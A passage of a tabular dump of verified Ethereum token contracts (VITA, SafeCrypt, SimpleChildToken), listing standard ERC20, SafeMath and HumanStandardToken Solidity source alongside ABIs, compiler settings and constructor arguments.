pe":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.4+commit.c7e474f2 | false | 200 | 000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000352fd144eb8d4cce000000000000000000000000000000000000000000000000000000000000000000000d5669746144414f20546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045649544100000000000000000000000000000000000000000000000000000000 | Default | false | ||||
VITA | contracts/IVITA.sol | 0x81f8f0bb1cb2a06649e51913a151f0e7ef6fa321 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IVITA is IERC20 {
function mint(address account, uint256 amount) external;
} | [{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"cap_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.4+commit.c7e474f2 | false | 200 | 000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000352fd144eb8d4cce000000000000000000000000000000000000000000000000000000000000000000000d5669746144414f20546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045649544100000000000000000000000000000000000000000000000000000000 | Default | false | ||||
VITA | @openzeppelin/contracts/token/ERC20/ERC20.sol | 0x81f8f0bb1cb2a06649e51913a151f0e7ef6fa321 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | [{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"cap_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.4+commit.c7e474f2 | false | 200 | 000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000352fd144eb8d4cce000000000000000000000000000000000000000000000000000000000000000000000d5669746144414f20546f6b656e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045649544100000000000000000000000000000000000000000000000000000000 | Default | false | ||||
SafeCrypt | SafeCrypt.sol | 0x330b88d40e85163cc2e27251e7defbde67851e6f | Solidity | contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function burn(uint256 _value) public returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed from, uint256 value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function burn(uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract HumanStandardToken is StandardToken {
function () {
//if ether is sent to this address, send it back.
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H0.1';
function HumanStandardToken(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
}
contract SafeCrypt is HumanStandardToken(1535714285000000000000000000, "SafeCrypt", 18, "SFC") {} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"},{"name":"_extraData","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":false,"stateMutability":"nonpayable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"}] | v0.4.19-nightly.2017.11.11+commit.284c3839 | true | 200 | Default | false | bzzr://f693046e4699578fbf47397b5db34d6dce39b718b856e6b689725d3dc22f16d9 |
||||
SimpleChildToken | openzeppelin-solidity/contracts/math/SafeMath.sol | 0x3dda0d81b48aead148585664d4c0e369701ba9bf | Solidity | /**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenContract","type":"address"},{"name":"payee","type":"address"},{"name":"amount","type":"uint256"}],"name":"refundERC20","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"payee","type":"address"},{"name":"amount","type":"uint256"}],"name":"refundETH","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_owner","type":"address"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_initSupply","type":"uint256"},{"name":"_decimals","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"payee","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"RefundETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"payee","type":"address"},{"indexed":true,"name":"token","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"RefundERC20","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}] | v0.4.24+commit.e67f0147 | true | 200 | 000000000000000000000000025bf0b26099c10b3f90f3a040703064faf84ac200000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000052b7d2dcc80cd2e4000000000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000000000094d6f6f6b546f6b656e000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000024d54000000000000000000000000000000000000000000000000000000000000 | Default | false | bzzr://3ad6ad55aadee502c53a711f8c0f2fdc334bbcb68c344a76aee5d1ac28681c63 |
|||
SimpleChildToken | openzeppelin-solidity/contracts/token/ERC20/ERC20.sol | 0x3dda0d81b48aead148585664d4c0e369701ba9bf | Solidity | /**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenContract","type":"address"},{"name":"payee","type":"address"},{"name":"amount","type":"uint256"}],"name":"refundERC20","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"payee","type":"address"},{"name":"amount","type":"uint256"}],"name":"refundETH","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_owner","type":"address"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_initSupply","type":"uint256"},{"name":"_decimals","type":"uint8"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"na